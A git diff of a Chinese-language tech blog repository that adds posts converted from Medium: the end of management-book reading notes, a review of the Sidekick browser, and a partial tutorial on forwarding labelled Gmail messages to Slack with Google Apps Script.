trust](http://recoveringengineer.com/leadership-skills/the-two-sides-of-trust/){:target="_blank"} 」 +- 了解交易信任與關係信任。 +- 交易信任 — — 人們是否會履行承諾並完成任務 +- 關係信任 — — 人們是否以建立和保護關係的方式行事 + +### Lesson 7\. — Optimize for business learning + +建立商業學習文化而不是建造文化、優化吞吐量、優化的價值。 +- 過早的優化是災難 +- 優化當前問題為重,不要為了優化而優化 +- 即使不是整個專案的負責人,我們仍可就內部運作進行優化,大的成功多半來自小部分的優化累積 +- 身為管理者我們必須展現決策背後的動機 +- 建立商業學習\(價值\)文化大與建造文化(重點不是建造解法,而是我們試圖解決的商業問題) +- 優化效率 vs 優化吞吐量問題: +優化效率:解決單一 task 的時間 +優化吞吐量:一個時間範圍內\(EX: 一季\) 能解決多少 task +- 知道每個優化的 Impact, +- 自動化的重要(能一勞永逸節省時間) + + +**使用 AARRR 原則為價值優化:** +- Acquisition:如何引入更多使用者 +- Activation:如何引導使用者完成讓他了解產品價值的任務(EX: 鬧鐘 App,新手引導他完成設立一個鬧鐘) +- Retention:提升回訪率,回來使用次數 +- Referrer:讓你的使用者、內容,帶來更多流量 +- Revenue:數字化評估使用者帶來的收入 + + +這五項息息相關,如果因為 Retention 低,可能可以同步調整 Referrer、Acquisition。 + +身為工程管理者,我們要做的不是埋頭寫 Code 或是全心投入在技術;時不時應該要重新對齊產品價值。 + +當產品還在草創初試市場狀態時,應該要以優化效率\(快速解決任務釋出\)為主,重複著以下流程: + +功能能提升 Retention \-> 釋出功能 \-> 學習 \-> 調整&重複。 + +評估功能到釋出每個階段可以優化的地方(花太多時間在設計?在討論?) + +可以投資 20% 時間減少 80% 的開發時間嗎?尤其是令人痛苦的點 + +可以先實驗或發布給最小受眾嗎?避免功能很大包結果最後沒人用。 +- 要做好數據追蹤,才能了解努力的成效 + + + +> 「If you can’t make engineering decisions based on data, then make engineering decisions that result in data\.”」 + + + + +雖然相較「這功能不做,公司會倒閉」跟「這功能會導致技術債」,前者當然更可怕;對於技術債,作為管理者如果能爭取更多時間解決我們應該就要做到,我們應該要做好溝通及控管。 + +優化可能不會用到的程式意義不大。 +- 過了草創試驗期,產品模式趨於穩定;這時候比較適合優化的是吞吐量\(EX: 給定 X 資源,得到 Y 產出\) +- 給予商業需求可預測性\(同上\) + + +追蹤團隊產出 \(EX: 「01/01/2013–14/01/2013: 2 Large features, 5 Medium features, 4 Small \),經過長期統計;可以藉此提供預測。 + +**找出&解決瓶頸:** +- 同步的溝通:例如產品開發流程,需要設計資源;在進到工程開發階段,我們是否已經有明確的規格可執行開發?還是在等待?還是有什麼我們可以先做的? +- 基礎設施:讓程式碼好擴充、好維護 +- 自動化:使用自動化處理繁瑣的人工操作,節省時間之餘也能避免出錯 + + +因為商業策略隨時在改變,我們應該對於優化策略保有更開放彈性的想法,優化的總結還是以商業需求為主。 +### Lesson 8\. — Use Inbound Recruiting to attract better talent + +關於招募。 + +平時就要開始做以下事項,防止突然缺人才要開始,那只能回到傳統找人方式,不停的面試但卻很難找到合適的人。 + +**對內:** +- 培養良好的工程文化環境 \(EX: Code Review、年會…\) +- 打造吸引人的工作環境 +- 像經營品牌一樣 +- 團隊成員共同努力 +- 加強人與人的連結(EX: 慶生) +- 先讓成員是對團隊感到驕傲的 + + +**對外:** +- 內部團隊每週定時對外回答社群問題 \(EX: Stackoverflow\. \. \),加強曝光 +- 在程式中隱藏招募彩蛋\(EX: 網頁開發者工具\) +- 與社群分享我們團隊遇到的問題及解決方法(文章 or Talk) +- 舉辦黑客松 +- 建立 Side Project \(EX: 開源專案\) + + +分配以上各任務給團隊成員,大家一起為找到好人才貢獻一份心力。 +### Lesson 9\. — Build a scalable team + +打造可擴充的團隊。 + +建立可擴充程式以是我們之前擔任工程是該有的職責,但現在要挑戰的是打造可擴充團隊。 + +不像程式,人有期待、需要、夢想要顧及。 + +作者想要打要一個快樂的工作環境、隊友之間了解任務的期待、新挑戰;而且要能持續保持這份熱情。 +- 對齊目標 +對齊個人願景與公司目標,如果不了解當前公司的目標很可能造成團隊功能失調。 +- 對齊核心價值 +算是共識及默契,對於做事方式、什麼重要的默契;團隊核心價值也不是一成不變,要與時俱進。 +- 平衡 +對於團成員的職能、成長,分配不同的願景、自主權、擁有全;互相協作一起成長\(EX: 新人只期待能了解公司做事流程,老鳥要 Code Review、指導\);每個人都應該要有成長性。 +- 團體的核心價值觀大於個體 +可能導致有人離職,也需要時間耐心才可能實現;也有許多挑戰 \(EX: 有人離職時會質疑核心價值\) +- 成就感 +成果要能有成就感,做為管理者不能讓隊友干燒熱情 + +#### 實踐 + +1\. 定義團隊願景 +EX: 作者的團隊是做爬蟲的,他的團隊願景就是「To build the largest, most informative profile\-database in the world\.」 +請注意是願景,不是短期目標也不想做的事。 + +2\. 定義團隊核心價值 +在挑選核心價值時可以「這個價值重要到會因為沒有而開除某人嗎?」 +寫下核心價值、原因。 +作者提供以下幾個他寫的核心價值: +\- 不要讓別人\(其他團隊\)來收拾善後,自己\(團隊\)的錯誤自己要承擔 +\- 對團隊所有成員保持忠誠尊重 +有了核心價值在招募或開除更有評斷準則,還有更能有做事的基準。 +#### 定義成員對團隊對管理者的期待 +- 提供具有生產力且開心的工作環境 +- 知道 Task 的 Why 而不是 How +- 能夠得到真實的 Feedback +- 有機會帶領其他成員 +- 能夠分享工作成果 + +#### 定義對團隊成員的期待 + +基本期待: +- 完成任務 +- 保持學習熱忱 +- 保持分享、教學熱忱 +- 知道做事的底線 sense + + +個人期待: +- 依照能力設定期待 +- 有能力訓練他人改變 +- 推動改變而不是抱怨 + + +我們是團隊,團隊成員有自己的責任跟要交付的成果,同時也要與其他人協作,幫助他人,互相成長;定義期待像是種契約,在原本的同事關係變成管理者關係之下,能更好更有目的的領導;定義這些項目不容易,需要時間、耐心去迭代。 + + +> 「You can’t empower people by approving their actions\. You empower by designing the need for your approval out of the system\.」 + + + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://blog.zhgchg.li/leading-snowflakes-%E9%96%B1%E8%AE%80%E7%AD%86%E8%A8%98-1c9eafd4a190){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-08-07-118e924a1477.md b/_posts/zmediumtomarkdown/2021-08-07-118e924a1477.md new file mode 100644 index 000000000..9451d192f --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-08-07-118e924a1477.md @@ -0,0 +1,345 @@ +--- +title: "生產力工具 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱" +author: "ZhgChgLi" +date: 2021-08-07T05:06:43.604+0000 +last_modified_at: 2023-08-05T16:38:31.854+0000 +categories: "ZRealm Life." +tags: ["sidekick","chrome","chromium","browsers","生活"] +description: "Sidekick 瀏覽器功能介紹&心得" +image: + path: /assets/118e924a1477/1*GfS7mQ8wGfu4aUWlhtz0Ag.jpeg +render_with_liquid: false +--- + +### \[生產力工具\] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱 + +Sidekick 瀏覽器功能介紹&使用心得 + + + +![](/assets/118e924a1477/1*-qG2uYUb_E9Sn3aSIkbqJQ.png) + + + +![](/assets/118e924a1477/1*GfS7mQ8wGfu4aUWlhtz0Ag.jpeg) + +### 前言 + +知道 Sidekick 瀏覽器是來自同事的分享;老實說一開始並沒有抱太大期待,其實這幾年一直都有拋棄 Chrome 的念頭,改用過 Safari、搶先體驗版的 Safari、Firefox、Opera、基於開源核心開發的第三方瀏覽器,但屢屢失敗,幾乎用不了幾天就又認錯裝回 Chrome,另外一個原因是自己並沒有很積極的 Follow 瀏覽器市場,也許早就有符合我需求的瀏覽器,只是我不知道罷了。 +#### 失敗原因 + +主要原因是我常用的擴充功能不能完全支援,太依賴也太習慣 Chrome 的擴充功能了,其次就算是 Chromium 核心能無痛支援但功能方面並沒有特別亮點,跟用 Google Chrome 體驗差不多。 +#### 我的需求 +- Chromium 核心,因為要支援我常用的擴充功能 +- 有更多特色功能,幫助提升生產力 +- 支援 MacOS,iOS 我習慣用 Safari 所以不要求支援跨裝置 +- 優秀的記憶體管理 +- 加強隱私反追蹤 +- 無痛轉移功能 + + +關於生產力功能,其實 Chrome 擴充功能有上千萬的工具可以用,自己搜尋、組合起來也能達到效果;但是我們沒做過研究調查,老實說不太清楚什麼流程跟功能是對生產力有幫助的。 +### 關於 Sidekick + + +![](/assets/118e924a1477/1*UQh7o0fls_Hc3opQLTVFZg.png) + +- 開發團隊:Sidekick 新創團隊創立於 2020/11 @ San\-Francisco / 募資中 +- 瀏覽器核心:Chromium +- 當前階段:early access +- 核心價值: **專為工作流程優化,提升生產力的瀏覽器** +- 支援平台:Windows、Mac OS、Mac OS \(M1\)、Linux \(deb\)、Linux \(rpm\) +- 擴充功能:支援所有 Chrome Store 擴充功能 \(bitwarden、lastpass 、1password、grammarly、google translate…\) +- 官方網站: [www\.meetsidekick\.com](https://join.meetsidekick.com/pokbg){:target="_blank"} + +#### 馬上下載使用 +- [**點此進入官方網站**](https://join.meetsidekick.com/pokbg){:target="_blank"} +- 點擊「Download Now」 +- 選擇符合自己作業系統的版本 +- 下載&完成安裝 +- 開啟 Sidekick + + + +![](/assets/118e924a1477/1*5Up0RxyfddsPeQistL2kQA.jpeg) + + +映入眼簾的是 Sidekick 介紹頁,點擊上方「Continue」繼續。 + + +![](/assets/118e924a1477/1*NauUZEY2vfGsVncUhc6hrA.jpeg) + + +使用 Google、Microsoft 或直接建立 Sidekick 帳號;這個帳號是 for Sidekick 服務的帳號,與 Google、Microsoft 無關。 + +⬇️⬇️⬇️ 如果你是從 Chrome 要轉換到 Sidekick, **請先閱讀完本章節再繼續建立帳號** ⬇️⬇️⬇️ + + +> _跟 Chrome 不同 Chrome 安裝完的登入帳號就是直接綁定、同步 Google 帳號上的瀏覽器資料; **你會發現 Sidekick 這步登入完帳號什麼資料也沒進來,原因是 [Google 目前封鎖所有第三方服務存取同步功能](https://help.meetsidekick.com/en/articles/5224854-synchronisation-issues){:target="_blank"} ,所以 Sidekick 無法直接透過帳號做同步、匯入資料。**_ + + + + + + +![人員資料部分也不能同步 Google 的帳號資訊](/assets/118e924a1477/1*mwF0s6KNZGYOX65EHGtUXA.png) + +人員資料部分也不能同步 Google 的帳號資訊 + + +![Sidekick 同步設定,只有可憐的搜尋字詞同步](/assets/118e924a1477/1*24LXqcP6raSLufNqU4k6ew.png) + +Sidekick 同步設定,只有可憐的搜尋字詞同步 +#### 那要如何匯入 Chrome 資料呢? + +官方給的方法非常繞路,但目前也只能這樣。 + +如果你本來就是 Chrome 的使用者可以跳過 1~3 步驟。 +1. 下載&安裝 Chrome +2. 登入 Chrome +3. 完成同步 Google 帳號上的瀏覽器資料到 Chrome +4. **完全關閉 Chrome \( \! 重要 \!,MacOS 用戶請確認 Dock 上 Chrome Icon 下面沒有小點點\)** +5. 繼續前一步的建立帳號 +6. 第一次建立完帳號,會問你要從哪個瀏覽器匯入資料 +7. 選擇 Chrome +8. 等待匯入完成 + + +匯入完成後,所有書籤、瀏覽紀錄、已存密碼、已登入的網站 Session、擴充功能,都會無痛搬移到 Sidekick 上;只有少部分服務需要重新登入,其他都不用,等於無痛轉移! + + +> _這邊有個小問題,就是如果非建立新帳號(EX: 重裝)就只能書籤、瀏覽紀錄、已存密碼;擴充功能無法自動匯入, [查官方 Q&A 只得到自己從 Chrome extension / app store 重裝](https://help.meetsidekick.com/en/articles/4145356-general-faqs){:target="_blank"} 。_ + + + + +#### 同步問題? + +既然 Google 封鎖第三方存取雲端資料,那如何解決書籤跨裝置同步問題呢? + +[Sidekick 近期將會釋出 Sidekick Sync 解決這個問題](https://help.meetsidekick.com/en/articles/5224854-synchronisation-issues){:target="_blank"} 。 + + +> 本文使用的是我個人電腦,非辦公用;所以會夾雜社群娛樂網站,敬請見諒。 + + + +### 特色功能 +#### 無痛轉移 + +如同前文安裝步驟,第一次安裝打開、建立帳號登入後;可以無痛從現有的 Safari、Chrome、Edge 無痛轉移所有書籤、瀏覽紀錄、已存密碼、已登入的網站 Session、擴充功能。 + +已登入的網站 Session、擴充功能我覺得是體驗最好的,以往的瀏覽器都只做書籤的轉移,但所有網站都要重新登入、所有擴充功能都要重新安裝,非常的消耗耐心。 +#### 強大的首頁功能 + + +![](/assets/118e924a1477/1*5U5Pk45aHMgBsSqZjB4cXg.png) + + +與 Chrome 單調的首頁不同也不需要花心力去找首頁解決方案,Sidekick 自帶精美又方便的首頁功能。 +- 搜尋匡可搜尋 瀏覽紀錄、書籤,若無搜尋結果則自動變 Google 搜尋 +- 左上方數據化顯示反追蹤、記憶體管理、反廣告狀況 +- 顯示今日日期、現在時間 +- 上方我們稱為 Tab,左側工具列上方稱為 Application +- 首頁背景圖可客製化,或自動展示風景圖 + +#### Application 功能 + +不只是網站的快速入口, 使用起來類似 MacOS 的 Dock,Application 網站啟用時會常駐在瀏覽器上(左方有小點點)但同時又會做好記憶體管理;啟用狀態下如果網站有通知會標記數字提醒。 + + +![](/assets/118e924a1477/1*hN5uieaQBJv1p9iTnwyDFw.png) + + +Application 可以快速從首頁加入,也可以從 Tab 建立或手動輸入網址、ICON 圖片加入。 + + +![](/assets/118e924a1477/1*vJxqus1O5taM-AkSEDRh-w.png) + + +Sidekick 已內建了上百個生產力工具網站,可快速加入 Application。 + + +> _如果從首頁加入 Application 後沒出現在左方 Sidebar 可以自行拖曳過去。_ + + + + + + +![](/assets/118e924a1477/1*jeCSiX0FXtll-IgBM4JDnw.jpeg) + + +在 Application 按右鍵可快速查看最近瀏覽、另外也支援多帳號切換。 + + +> _多帳號切換支援的網站不太多,不支援只能先用 Private Mode \(無痕模式\);目前測試 Slack、Notion 都支援。_ + + + + +- 左方 Application 與上方 Tab 互不影響,Application 區塊是獨立的不會出現在上方 Tab。 + + + +![](/assets/118e924a1477/1*EXC0AJpQOXBPCD7RB6XTpg.jpeg) + + +每個 App 都可個別進行設定,例如關閉通知、關閉 Badge 等等。 +#### 視窗分割功能 + +雖然 MacOS 自帶視窗分割功能,但我其實很少使用;除非是想要完全進入專注狀態,更多時候的需求是要同步對照網頁內容\+使用其他 MacOS App 做事,這時候純瀏覽器的分割視窗功能就很實用! + + +![](/assets/118e924a1477/1*Y5_ESbe7KRLu3OjweqNZuw.jpeg) + + +例如,這樣就可以邊上線上課&做筆記。 + +中間分隔大小可以自由拖曳調整。 + +使用方法,只要點擊瀏覽器右上角的分割視窗按鈕,選擇要加入左方的視窗即可,再點一次就會關閉分割。 + + +![](/assets/118e924a1477/1*fhvH5HyxA_iJd1HfzbrekA.jpeg) + +#### Spotlight 功能 + + +![](/assets/118e924a1477/1*B60RpU-WptmbOuUaA3kW3Q.png) + + +類似 MacOS 的 Spotlight,在任何視窗都能按下「Option」\+「f」做全瀏覽器搜尋。 +- 可以使用「Option」+「z」或「Control」\+「tab」進行 Tab 的快速切換 +- 「Option」+「1–9」快速切換位置 1~9 的Tab + +#### Tab Saver \(Save Sessions\) 功能 + +同 Chrome 上很流行的 Tab Saver 擴充功能,能快速儲存目前已打開的 Tab 網頁,並且能在其中做切換,方便我們管理工作的不同狀態。 + + +![](/assets/118e924a1477/1*_zGwKwCvGG_xVZE9G0yPLg.jpeg) + + +點擊左下角的「F」\(First Session\) 即可進入 Session 管理頁面。 + +點擊上方「Add new session」可以將目前 Tab 狀態儲存下來,開啟全新乾淨的瀏覽環境。 + +可以在 Session 之間切換,點擊「Activate」即可恢復 Tab。 + + +> _Session 不會影響到左邊啟用中的 Application。_ + + + + +- 可以使用快捷鍵「Option」\+「W」快速進行 Session 切換 +- 「Option」\+「⬆️」\+「W」進行 Session 管理 + +#### 優秀的 Application 通知功能 + +實際上現在開始,只要有提供 Web 版的通訊服務,都可以直接使用 Sidekick Application 不需特別安裝電腦應用程式;前文有提到 Application 的通知功能就如同電腦應用程式,一樣即時完整。 + + +![](/assets/118e924a1477/1*I_BXx4y_m4isFs3bz_yNkg.png) + +- 記得授權 Sidekick 發送電腦端通知;這樣網頁的通知才會在電腦端跳出來提示。 + +#### 筆記功能 + +內建整合 Google Keep 雲端筆記功能,點擊左下方文件 Icon 可快速開啟 Google Keep 做筆記。 + + +![](/assets/118e924a1477/1*PnXdiHp2mmuC62Iq-I1O2w.jpeg) + + +Google Keep 儲存於雲端 Google 帳號,支援跨平台跨裝置的筆記同步存取。 + +可以使用這個功能快速紀錄事項。 + + +> **_不太確定日後會不會改成自家的 Sidekick Sync,畢竟這樣才有優化整合的空間。_** + + + + +- 可以使用快捷鍵「Option」\+「N」快速進行 Session 切換 + +#### 內建反追蹤反廣告、記憶體管理功能 + +隱私浪潮的來襲,各大企業漸漸開始注重用戶隱私,以 Apple 為最主要領導者,在新版 Safari 中也開始內建隱私保護功能;但作為隱私資訊的最大獲利者 Google 廣告,我想應該很難在 Google Chrome 上看到改變。 + + +> _Chromium \!= Chrome,Chromium 是瀏覽器技術核心的開源專案。_ + + + + + +雖然 Chromium 也是由 Google 主導,但他開源自由原始碼的特性;讓任何開發者都能基於此核心進行優化;Sidekick 也是運用此方法在 Chromium 基礎上進行優化,能同時保留 Chrome 的特點但又能加強 Chrome 缺少的功能。 + + +![](/assets/118e924a1477/1*sZ7GOnfC2hAi4tp3qvQnlA.png) + +#### 細節 +- 如果是雙螢幕使用者,同樣可以把 Tab 拉成獨立視窗;獨立視窗就不會有左方的工具列。 +- [支援所有 Chrome 擴充功能,可直接到商城下載安裝](https://chrome.google.com/webstore?hl=zh-TW){:target="_blank"} + + + +> _更多功能等你來探索體驗!_ + + + + +### 費用 + + +> 「企業不賺錢是種罪惡 \(你不賺錢,是對社會的罪惡,因為我們拿社會的資金,取社會的人才,沒有充足的盈餘,我們在浪費社會可貴資源,這些資源可以在別處更有效地運用。\)」\- Panasonic 創辦人 — 松下幸之助 \(文字參考自商業思維學院\) + + + + +一個好的產品要能有好的現金流,才能提供更好的服務也才能走得更久;以下是 Sidekick 的收費內容: + + +![](/assets/118e924a1477/1*QO099z26UL-QMdKmkaKgpg.png) + + +以個人使用來說免費方案啜啜有餘,但如果有能力就不妨贊助一下開發團隊吧! +- 目前加入的使用者都是屬於 Early access 方案,貌似不受 Free 方案影響(我 Sidebar apps 超過 5 個也沒事)。 +- 現在邀請 10 位使用者 6 個月 Pro / 邀請 20 位使用者終身 Pro 的方案;所以喜歡本文的朋友可以透過 [文內連結進行下載安裝,支持我也支持 Sidekick!](https://join.meetsidekick.com/pokbg){:target="_blank"} + + + +![](/assets/118e924a1477/1*2AyCVXM6Ha6JPA3zEKrDoQ.png) + +### 使用心得總結 + +這陣子使用下來,因為無痛轉移的緣故;已經完全捨棄 Chrome,也沒有什麼東西是一定要回去用 Chrome 開的,最好用的還是左方的 Applications,可以將工作上常用的網站加入在左方,快速切換處理&取得最新通知。 + +以往都會迷失在混亂的 Tab 中,或只能使用 Pin Tab 方式把固定重要的工作服務 Pin 在前面;但在切換的時候還是很痛苦,要去尋找。 + +現在我要做 Code Review 時就點 Github、要送審 App 時就點 App Store Connect、要看專案時就點 Asana,工作起來很有效率。 + +記憶體管理的部分,沒有特別做研究測試;不太確定優化效果,但有總比沒有好。 + + +> **_唯一隱憂是這個產品還太新,不太確定能走多遠;如果因為經營不善可能就會停止開發維護了;那會非常可惜!所以請大家大力推廣支持!_** + + + + +### 延伸閱讀 +- [使用 Google Site 建立個人網站還跟得上時代嗎](../724a7fb9a364/) ? +- [使用 iPhone 簡單製作「偽」透視透明手機桌布](../2e4429f410d6/) +- [Medium 自訂網域功能回歸](../d9a95d4224ea/) +- [ZReviewsBot — Slack App Review 通知機器人](../33f6aabb744f/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/%E7%94%9F%E7%94%A2%E5%8A%9B%E5%B7%A5%E5%85%B7-%E6%8B%8B%E6%A3%84-chrome-%E6%8A%95%E5%85%A5-sidekick-%E7%80%8F%E8%A6%BD%E5%99%A8%E7%9A%84%E6%87%B7%E6%8A%B1-118e924a1477){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-08-07-d414bdbdb8c9.md b/_posts/zmediumtomarkdown/2021-08-07-d414bdbdb8c9.md new file mode 100644 index 000000000..690e8aebb --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-08-07-d414bdbdb8c9.md @@ -0,0 +1,375 @@ +--- +title: "運用 Google Apps Script 轉發 Gmail 信件到 Slack" +author: "ZhgChgLi" +date: 2021-08-07T12:19:49.920+0000 +last_modified_at: 2024-04-14T01:54:47.696+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","google-apps-script","cicd","slack","workflow-automation"] +description: "使用 Gmail Filter + Google Apps Script 在收到信件時自動將客製化內容轉寄至 Slack Channel" +image: + path: /assets/d414bdbdb8c9/1*U6CDgIAMt2l2vDoFqhwv6A.jpeg +render_with_liquid: false +--- + +### 運用 Google Apps Script 轉發 Gmail 信件到 Slack + +使用 Gmail Filter \+ Google Apps Script 在收到信件時自動將客製化內容轉寄至 Slack Channel + + + +![Photo by [Lukas Blazek](https://unsplash.com/@goumbik?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/d414bdbdb8c9/1*U6CDgIAMt2l2vDoFqhwv6A.jpeg) + +Photo by [Lukas Blazek](https://unsplash.com/@goumbik?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 起源 + +最近在優化 iOS App CI/CD 的流程,使用 Fastlane 作為自動化工具;打包上傳後如果要繼續完成自動送審步驟 \( `skip_submission=false` \),就需要等蘋果完成 Process 大概需要浪費 30~40 mins 的 CI Server 時間,因為蘋果 App Store Connect API 並不完善,Fastlane 也只能每分鐘去檢查一次上傳的 Build 是否處理完成,非常浪費資源。 + + +![](/assets/d414bdbdb8c9/1*JXuVoKM-gGJwfvF7tXY1nQ.png) + +- **Bitrise CI Server:** 限制同時 Builds 數量及最大執行時間 90 mins,90 mins 是夠,但會卡著一條 Build 阻礙其他人執行。 +- **Travis CI Server:** 依照 Build Time 收費,這樣更不能等了,錢直接打水漂。 + +#### 換個思路 + +不等了,上傳完直接結束!靠處理完成的信件通知觸發後續動作。 + + +![](/assets/d414bdbdb8c9/1*57FOYivs5toW2aipgRVCeg.jpeg) + + + +> **_不過最近我都沒收到這封信了,不知道是設定問題還是蘋果不再發此類通知。_** + + + + + +本文將以 Testflight 已經可以開始測試的信件通知為例。 + + +![](/assets/d414bdbdb8c9/1*2fmqWCAMiM2UeuGss7VzzA.jpeg) + + + +![](/assets/d414bdbdb8c9/1*sndRqvnELhCshb6yyPFhqg.jpeg) + + + +> _完整流程如上圖所示,原理上可行;但不是本文要討論的重點,本文將著重在收到信件、使用 Apps Script 轉發至 Slack Channel 部分。_ + + + + +### 如何轉發收到的 Email 到 Slack Channel + +不管是付費或是免費的 Slack 專案都能使用不同方法達成 Email 轉發到 Slack Channel or DM 功能。 + +可參考官方文件進行設置: [傳送電子郵件至 Slack](https://slack.com/intl/zh-tw/help/articles/206819278-%E5%82%B3%E9%80%81%E9%9B%BB%E5%AD%90%E9%83%B5%E4%BB%B6%E8%87%B3-Slack){:target="_blank"} + +**不管哪種方法效果都如下:** + + +![](/assets/d414bdbdb8c9/1*qdoLTotLTaeZPsEHaJ8C7Q.jpeg) + + + +> _預設摺疊信件內容,點擊後可以展開查看全部內容。_ + + + + + +**優點:** +1. 簡單快速 +2. 零技術門檻 +3. 即時轉送 + + +**缺點:** +1. 無法對內容進行客製 +2. 顯示樣式無法更改 + +### 客製轉發內容 + +就是本篇要介紹的重點。 + + +![](/assets/d414bdbdb8c9/1*w4E7wf-Kf8XVFxowmDopIw.png) + + +將信件內容資料轉譯成自己想呈現的樣式,如上圖範例。 +#### 先上一張完整運作流程圖: + + +![](/assets/d414bdbdb8c9/1*yB5s_5rBr4l6hid21huJMQ.jpeg) + +- 使用 Gmail Filter 對要轉發信件加上辨識 Label +- Apps Script 定時獲取被標記成該 Label 的信件 +- 讀取信件內容 +- 渲然成想要的顯示樣式 +- 透過 Slack Bot API 或直接用 Incoming Message 發送訊息到 Slack +- 移除信件 Label \(代表已轉發\) +- 完成 + +#### 首先,要在 Gmail 中建立篩選器 + +篩選器可以在收到符合條件信件時自動化做一些事,例如:自動標記已讀、自動標記 Tag、自動移入垃圾郵件、自動歸入分類…等等操作 + + +![](/assets/d414bdbdb8c9/1*qNXxtTLzEnlArl4UTTWQMw.jpeg) + + +在 Gmail 點擊右上進階搜尋圖標按鈕,輸入要轉發的信件規則條件,例如來自: `no_reply@email.apple.com` \+ 主題是 `is now available to test.` ,點擊「Search」查看篩選結果是否如預期;如果正確可以點擊 Search 旁的「Create filter」按鈕。 + + +![或直接在信件裡上方點 Filter message like these 就能快速建立篩選條件](/assets/d414bdbdb8c9/1*i7grToZwE_ixwJTEjI9qtw.jpeg) + +或直接在信件裡上方點 Filter message like these 就能快速建立篩選條件 + + +![](/assets/d414bdbdb8c9/1*n_nbqgIlE-E1eaW5QfqkWg.jpeg) + + + +> 這按鈕設計很反人類,第一次找一直沒看到。 + + + + + + +![](/assets/d414bdbdb8c9/1*6zlooS-cMr5LEVX2TW5I_w.jpeg) + + +下一步設定符合此篩選條件是的動作,這邊我們選「Apply the label」建立一個獨立新辨識用 Label 「forward\-to\-slack」,點擊「Create filter」完成。 + +爾後被標上這個 Label 的信都會被轉發到 Slack。 +### 取得 Incoming WebHooks App URL + +首先我們要加入 Incoming WebHooks App 到 Slack Channel,我們會透過此媒介來傳送訊息。 + + +![](/assets/d414bdbdb8c9/1*AgGLiLsyvenK-LRWI9rlKg.png) + +1. Slack 左下角「Apps」\->「Add apps」 +2. 右邊搜尋匡搜尋「incoming」 +3. 點擊「Incoming WebHooks」\->「Add」 + + + +![](/assets/d414bdbdb8c9/1*DUcwdLTKt33Fa-jNlW8MkA.png) + + + +![](/assets/d414bdbdb8c9/1*v8Z-5vEM043F82TMiZk2lw.png) + + +選擇訊息想要傳到的 Channel。 + + +![](/assets/d414bdbdb8c9/1*SRciom_ygU0JDKK9ATY1FQ.png) + + +記下最上方的「Webhook URL」 + + +![](/assets/d414bdbdb8c9/1*kp1QDIEwzQtmfzUwZIDTSg.png) + + +往下滑可設定傳送訊息時,傳送 Bot 顯示的名稱及大頭貼;改完記得按「Save Settings」。 + + +> **_備註_** + + + + + +> _請注意官方建議使用新的 Slack APP Bot API 的 [chat\.postMessage](https://api.slack.com/methods/chat.postMessage){:target="_blank"} 來傳送訊息,Incoming Webhook 簡便的這個方式之後會棄用,這邊偷懶沒有使用,可搭配下一章「匯入員工名單」會需要 Slack App API 一起調整成新方法。_ + + + + + + +![](/assets/d414bdbdb8c9/1*QfgJL_Xb9JhgQnPGjU2CXg.png) + +### 撰寫 Apps Script 程式 +- [點此前往我的 Apps Script 專案](https://script.google.com/home/my){:target="_blank"} +- 點選左上「新專案」 +- 建立後,可點擊專案名稱重新命名 EX: ForwardEmailsToSlack + + +貼上以下基本程式並修改成你想要的版本: +```javascript +function sendMessageToSlack(content) { + var payload = { + "text": "*您收到一封信件*", + "attachments": [{ + "pretext": "信件內容如下:", + "text": content, + } + ] + }; + var res = UrlFetchApp.fetch('貼上你的Slack incoming Webhook URL',{ + method : 'post', + contentType : 'application/json', + payload : JSON.stringify(payload) + }) +} + +function forwardEmailsToSlack() { + // 參考自:https://gist.github.com/andrewmwilson/5cab8367dc63d87d9aa5 + + var label = GmailApp.getUserLabelByName('forward-to-slack'); + var messages = []; + var threads = label.getThreads(); + + if (threads == null) { + return; + } + + for (var i = 0; i < threads.length; i++) { + messages = messages.concat(threads[i].getMessages()) + } + + for (var i = 0; i < messages.length; i++) { + var message = messages[i]; + Logger.log(message); + + var output = '*New Email*'; + output += '\n*from:* ' + message.getFrom(); + output += '\n*to:* ' + message.getTo(); + output += '\n*cc:* ' + message.getCc(); + output += '\n*date:* ' + message.getDate(); + output += '\n*subject:* ' + message.getSubject(); + output += '\n*body:* ' + message.getPlainBody(); + + sendMessageToSlack(output); + } + + label.removeFromThreads(threads); +} +``` + +**進階:** +- [Slack 訊息樣式可參考這份官方結構文件](https://api.slack.com/messaging/composing/layouts){:target="_blank"} 。 +- 你可以使用 Javascript 的 Regex Match Function,對信件內容進行匹配爬取。 + + +**EX:爬取 Testflight 審核成功信件內的版本號資訊:** + +信件標題:Your app XXX has been approved for beta testing\. + +信件內容: + + +![](/assets/d414bdbdb8c9/1*aZkQGA3N1cquMLt1wyDGFg.jpeg) + + +我們想得到 **Bundle Version Short String 還有 Build Number 後面的值** 。 +``` +var results = subject.match(/(Bundle Version Short String: ){1}(\S+){1}[\S\s]*(Build Number: ){1}(\S+){1}/); +if (results == null || results.length != 5) { + // not vaild +} else { + var version = results[2]; + var build = results[4]; +} +``` +- [Regex 使用方法可參考這裡](https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Guide/Regular_Expressions){:target="_blank"} +- 線上測試 Regex 是否正確可使用 [此網站](http://www.rubular.com/){:target="_blank"} + +#### 執行看看 +- 回到 Gmail 隨便找一封信,手動幫他加上 Label — 「forward\-to\-slack」 +- 在 Apps Script 程式碼編輯器上選擇「forwardEmailsToSlack」然後點擊「執行」按鈕 + + + +![](/assets/d414bdbdb8c9/1*JHHTQCWNUI-aNPBB6y4iAA.jpeg) + + + +![](/assets/d414bdbdb8c9/1*ltXGtEVxkdde1qHGxy3wMw.png) + + +若出現 「Authorization Required」則點選「Continue」完成驗證 + + +![](/assets/d414bdbdb8c9/1*hIgRtqKEFs0tsXDxfNTaOg.png) 